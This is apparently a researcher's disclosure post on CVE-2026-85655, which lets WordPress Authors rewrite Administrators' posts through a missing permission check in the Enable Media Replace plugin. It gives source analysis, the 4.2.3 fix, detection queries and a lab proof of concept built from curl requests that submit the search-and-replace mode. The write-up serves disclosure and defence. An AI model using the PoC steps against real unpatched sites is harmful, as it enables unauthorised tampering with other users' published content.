Post

CVE-2026-85655: Enable Media Replace Lets Authors Rewrite Posts They Cannot Edit

An Author-level user could replace their own media, choose the search-and-replace option, and rewrite post_content in Administrator-owned posts. Source analysis, 4.2.3 fix, and lab PoC.

CVE-2026-85655: Enable Media Replace Lets Authors Rewrite Posts They Cannot Edit

CVE-2026-85655: Enable Media Replace Lets Authors Rewrite Posts They Cannot Edit

An Author-level user can replace their own image. They cannot edit an Administrator’s post.

In Enable Media Replace through 4.2.2, the first permission was enough to rewrite the second.

The plugin’s media replacement workflow offers two modes:

  • Just replace the file — overwrite the attachment in place.
  • Replace the file, use the new file name, and update all links — rename the attachment and run a site-wide search and replace.

The second mode is the problem. It selects every post whose post_content contains the old media URL, then updates the content with a direct $wpdb->query(). The only capability check before that is on the attachment being replaced. There is no current_user_can( 'edit_post', $post_id ) check on the posts that are about to be modified.

An Author can own an attachment that an Administrator embedded in their posts. Replacing that attachment with search-and-replace rewrites the Administrator’s content, even though WordPress’s normal editor and REST API reject the same user.

  
CVECVE-2026-85655
TypeMissing authorization / broken access control (CWE-862)
PluginEnable Media Replace
Affected<= 4.2.2
Validated4.1.9
Fixed4.2.3
AccessAuthenticated, Author-level and above
CVSS4.3 (Medium)

The permission check stops at the attachment

The replacement form is only reachable by a user with upload_files:

1
2
3
4
5
6
7
8
9
10
11
// classes/ViewController/UploadViewController.php, 4.1.9
if (!current_user_can('upload_files')) {
    $this->viewError(self::ERROR_UPLOAD_PERMISSION);
}

$post_id = isset($_POST['ID']) ? intval($_POST['ID']) : null;
$attachment = get_post($post_id);

if (! emr()->checkImagePermission($attachment)) {
    $this->viewError(self::ERROR_IMAGE_PERMISSION);
}

checkImagePermission() then checks the attachment object:

1
2
3
4
5
6
7
// classes/emr-plugin.php, 4.1.9
if ($post_type !== 'attachment')
    return false;

if (current_user_can('edit_post', $post_id) === true) {
    return true;
}

That is an attachment-level check. It answers:

Can this user edit this media item?

It does not answer:

Can this user edit every post that references this media item?

For an Author, the answer to the first question can be yes while the answer to the second is no. WordPress gives Authors upload_files and edit_posts, but not edit_others_posts. They can upload media and edit their own posts. They cannot edit an Administrator’s post.

The plugin never asks the second question.

The replace mode is a database-wide write

The submitted replace_type decides which branch runs:

1
2
3
4
// classes/Controller/ReplaceController.php, 4.1.9
$this->replaceType = ($params['replace_type'] === 'replace_and_search')
    ? self::MODE_SEARCHREPLACE
    : self::MODE_REPLACE;

Later, after the uploaded file has been moved into place, run() invokes the replacer:

1
2
3
4
5
6
7
8
9
// classes/Controller/ReplaceController.php, 4.1.9
$args = array(
    'thumbnails_only' => ($this->replaceType == self::MODE_SEARCHREPLACE) ? false : true,
);

$doreplace = apply_filters('emr/replace/doreplace', true);
if (true === $doreplace) {
    $Replacer->replace($args);
}

The dangerous part is inside Replacer::doReplaceQuery():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// build/shortpixel/replacer/src/Replacer.php, 4.1.9
$posts_sql = $wpdb->prepare(
    "SELECT ID, post_content FROM $wpdb->posts
     WHERE post_status in ('publish', 'future', 'draft', 'pending', 'private')
     AND post_content LIKE %s",
    '%' . $base_url . '%'
);

$rs = $wpdb->get_results($posts_sql, ARRAY_A);

foreach ($rs as $rows) {
    $post_content = $rows['post_content'];
    $post_id = $rows['ID'];

    $replaced_content = $this->replaceContent(
        $post_content,
        $search_urls,
        $replace_urls,
        false,
        true
    );

    if ($replaced_content !== $post_content) {
        $sql = 'UPDATE ' . $wpdb->posts . ' SET post_content = %s WHERE ID = %d';
        $sql = $wpdb->prepare($sql, $replaced_content, $post_id);

        $result = $wpdb->query($sql);
    }
}

Three details matter.

  1. The SELECT has no author filter and no capability filter. It does not exclude posts owned by other users.
  2. The SELECT covers publish, future, draft, pending, and private. Published Administrator posts are in scope.
  3. The UPDATE writes post_content directly. It does not call wp_update_post(), so WordPress’s edit_post capability check is not reached. It also does not create a revision, fire save_post, or update the victim post’s post_modified.

The vulnerable versions do not even call clean_post_cache() on the affected posts. That was added in 4.2.3. In 4.1.9 and 4.2.2, the database changes and the object cache can disagree until the cache expires.

How the old URL becomes attacker-controlled

Replacer::replace() derives a base URL from the attachment being replaced:

1
2
3
4
5
6
7
// build/shortpixel/replacer/src/Replacer.php, 4.1.9
$base_url = parse_url($this->source_url, PHP_URL_PATH);
$base_url = str_replace(
    '.' . pathinfo($base_url, PATHINFO_EXTENSION),
    '',
    $base_url
);

getRelativeURLS() then builds source and target arrays for the full-size file and every generated thumbnail. replaceContent() does the actual substitution:

1
2
3
4
5
// build/shortpixel/replacer/src/Replacer.php, 4.1.9
if (is_string($content)) {
    $content = apply_filters('emr/replacer/content', $content, $search, $replace);
    $content = str_replace($search, $replace, $content);
}

The search strings are the old attachment URLs. The replacement strings are the new attachment URLs. The attacker owns the attachment, so the attacker controls both sides of that substitution. They choose the replacement file and its filename.

The precondition is that the attacker’s attachment is referenced by a post they cannot edit. That is not exotic on a multi-author site. Editors routinely embed images uploaded by Authors. The Author does not need edit access to the editor’s post; they only need their media to appear in it.

In my lab, I modeled that reuse directly: 25 published posts owned by admin2 contained the URL of an attachment owned by author1. The normal editor and REST API rejected author1 on those posts. The media replacement path did not.

What the write touches

The validated impact is post_content modification across posts owned by other users. The same call path also reaches metadata:

1
2
// build/shortpixel/replacer/src/Replacer.php, 4.1.9
$number_of_updates += $this->handleMetaData($base_url, $search_urls, $replace_urls);

handleMetaData() searches postmeta, commentmeta, termmeta, usermeta, and options for the same base URL and updates matching values. I validated post_content; I did not validate metadata or option changes. The code path is there, and it widens the potential blast radius beyond post bodies.

The replaceContent() routine also handles serialized data and JSON. Page-builder content stored in post_content can be traversed and rewritten, not just plain HTML strings.

PoC

Lab: WordPress 6.8.x, Enable Media Replace 4.1.9, PHP 8.2. admin2 is the Administrator. author1 is an Author.

1. Seed the shared media

Upload an image as author1 and put its URL into posts owned by admin2:

1
2
3
4
5
6
7
8
9
10
11
OLD=$(wp post get 123 --field=guid)   # attachment owned by author1

for i in $(seq 1 25); do
  wp post create \
    --post_type=post \
    --post_status=publish \
    --post_author=2 \
    --post_title="Admin post $i" \
    --post_content="<p>Admin-owned body</p><img src=\"$OLD\">" \
    --porcelain
done

The attachment ID 123 belongs to author1. The 25 posts belong to admin2.

2. Confirm the normal boundary

As author1, try to edit one of the Administrator’s posts:

1
2
curl -sS -b author.cookies -o edit.out -w '%{http_code}\n' \
  'http://127.0.0.1:8094/wp-admin/post.php?post=201&action=edit'

WordPress returns the “Sorry, you are not allowed to edit this post” screen. The REST API returns 403 for the same user. That is the boundary the plugin bypasses.

3. Open the replacement form and take the nonce

Use an authenticated cookie jar for author1 (author.cookies), for example from a browser session. Open the replacement page for attachment 123 and extract the emr_nonce:

1
2
3
4
5
curl -sS -b author.cookies -c author.cookies \
  'http://127.0.0.1:8094/wp-admin/upload.php?page=enable-media-replace/enable-media-replace.php&action=replace&attachment_id=123' \
  -o replace-form.html

NONCE=$(rg -o 'name="emr_nonce" value="[^"]+"' replace-form.html | cut -d'"' -f4)

The nonce is valid because the server just issued it to author1 for their own attachment. It is a CSRF token, not an authorization decision about the posts that will be rewritten.

The radio button is not the gate either. replace_type is a normal POST field. In 4.1.9 and 4.2.2 it is taken from $_POST and passed to ReplaceController without a capability check.

4. Submit the search-and-replace request

Upload a new file with a different name and select replace_and_search:

1
2
3
4
5
6
7
curl -sS -b author.cookies -D replace.headers -o replace.html \
  -F "emr_nonce=$NONCE" \
  -F "ID=123" \
  -F "replace_type=replace_and_search" \
  -F "timestamp_replace=2" \
  -F "userfile=@replacement.jpg;filename=author-banner-renamed.jpg" \
  'http://127.0.0.1:8094/wp-admin/upload.php?page=enable-media-replace/enable-media-replace.php&action=media_replace_upload&attachment_id=123'

A successful replacement redirects to the success screen. The exact redirect is less important than the database state.

5. Verify the cross-owner write

1
2
3
4
5
6
wp db query "
SELECT ID, post_author, post_status, post_modified
FROM wp_posts
WHERE post_content LIKE '%author-banner-renamed%'
ORDER BY ID
LIMIT 25;"

Expected result: 25 rows. post_author is 2 for all of them. post_status is publish. The content now points at author1’s new filename.

The victim posts’ post_modified values do not change, because the plugin wrote post_content directly instead of calling wp_update_post().

A negative control confirms the boundary through the REST API:

1
2
3
4
curl -sS -b author.cookies -o rest.out -w '%{http_code}\n' \
  -X POST -H 'Content-Type: application/json' \
  --data '{"content":"blocked"}' \
  'http://127.0.0.1:8094/wp-json/wp/v2/posts/201'

Expected: 403. The plugin path succeeds where the normal path fails.

The fix in 4.2.3

The vendor did not add a per-post capability check inside doReplaceQuery(). They restricted who can reach the search-and-replace mode.

4.2.3 adds:

1
2
3
4
5
6
7
8
9
10
11
// classes/uihelper.php, 4.2.3
public function is_author_restricted()
{
    $bool = current_user_can('edit_others_posts');

    if (true === $bool) {
        return false;
    }

    return true;
}

The upload handler then forces the safe mode on the server side:

1
2
3
4
5
6
// classes/ViewController/UploadViewController.php, 4.2.3
$author_restricted = $uiHelper->is_author_restricted();

if (true === $author_restricted) {
    $replace_type = 'replace';
}

The UI is also changed. ReplaceViewController defaults restricted users to replace, and views/screen.php disables the search-and-replace radio button when is_author_restricted is true.

The same release also hardens a separate PHP object injection path. That is not the issue described here.

The release notes describe the change directly:

1
2
3
Fix: Users with the Author role now only see the standard replace option;
renaming, changing the location and background removal are limited to
Editors and above, following a security report from the Wordfence team.

The capability edit_others_posts is a reasonable proxy for “Editor or above.” It also covers custom roles that have upload_files but lack cross-user editing rights.

The important part is that the check is server-side. Disabling a radio button is not an authorization control. 4.2.3 rejects the dangerous replace_type before ReplaceController sees it.

MODE_REPLACE overwrites the source file in place and keeps the same URL. The source and target search arrays collapse to identical values and are removed, so the site-wide content replacement does not run. That is why forcing replace mode removes the cross-post write for restricted users.

The fix does not change the database-wide replacement design for Editors and Administrators. That behavior is intentional for users who can already edit other users’ posts. The vulnerability was letting an Author reach it.

Detection

Look for Author-level requests that submit replace_type=replace_and_search to the media replacement endpoint:

1
2
POST /wp-admin/upload.php?page=enable-media-replace/enable-media-replace.php&action=media_replace_upload&attachment_id=<id>
replace_type=replace_and_search

On the database side, the signature is a post_content change without a matching post_modified change:

1
2
3
4
SELECT ID, post_author, post_modified, post_content
FROM wp_posts
WHERE post_content LIKE '%/wp-content/uploads/%'
  AND post_modified < post_date;

That query is noisy on its own. Correlate it with:

  • a recent media replacement by an Author;
  • post_content URL changes across posts with different post_author values;
  • a single attachment replacement followed by changes in many posts;
  • postmeta, commentmeta, termmeta, usermeta, or options rows containing the same base URL;
  • missing revisions for the changed content.

Because the vulnerable code writes directly to the posts table, revision history is not a reliable audit trail for these changes. Compare against backups, replicas, or external content monitoring.

A WAF or reverse-proxy rule can block replace_type=replace_and_search on the replacement endpoint for Author-level sessions if the role is available in the request context. That is a temporary control. The real fix is 4.2.3.

Impact

The direct impact is integrity loss on content the attacker cannot edit through WordPress:

  • published posts owned by Administrators or Editors;
  • future, draft, pending, and private posts;
  • page-builder or serialized content stored in post_content;
  • potentially metadata and options that contain the same media URL.

The realistic chain is shared-media poisoning on a multi-author site. An Author uploads an image. An Editor embeds it in a published post. The Author replaces the image with search-and-replace and changes the URL written into the Editor’s post. The post remains published, the author remains the Editor, and post_modified does not move. The change is visible to unauthenticated visitors immediately.

That is an authorization bypass, not a UI bug. The nonce is valid, the upload is allowed, and the attachment belongs to the attacker. The missing check is on the posts being modified.

I validated the post_content overwrite. I did not validate XSS, RCE, or option changes.

Disclosure

  • CVE: CVE-2026-85655
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-85655
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/aff42473-63c6-41ca-8312-058f213e2302
  • GitHub release: https://github.com/short-pixel-optimizer/enable-media-replace/releases/tag/v4.2.3
  • Plugin: https://wordpress.org/plugins/enable-media-replace/
  • Affected: <= 4.2.2
  • Validated: 4.1.9
  • Fixed: 4.2.3

The interesting part is not the payload. It is the scope of the permission check. The plugin checked the object the attacker owned and then wrote to objects the attacker did not own.

This post is licensed under CC BY 4.0 by the author.
Support my research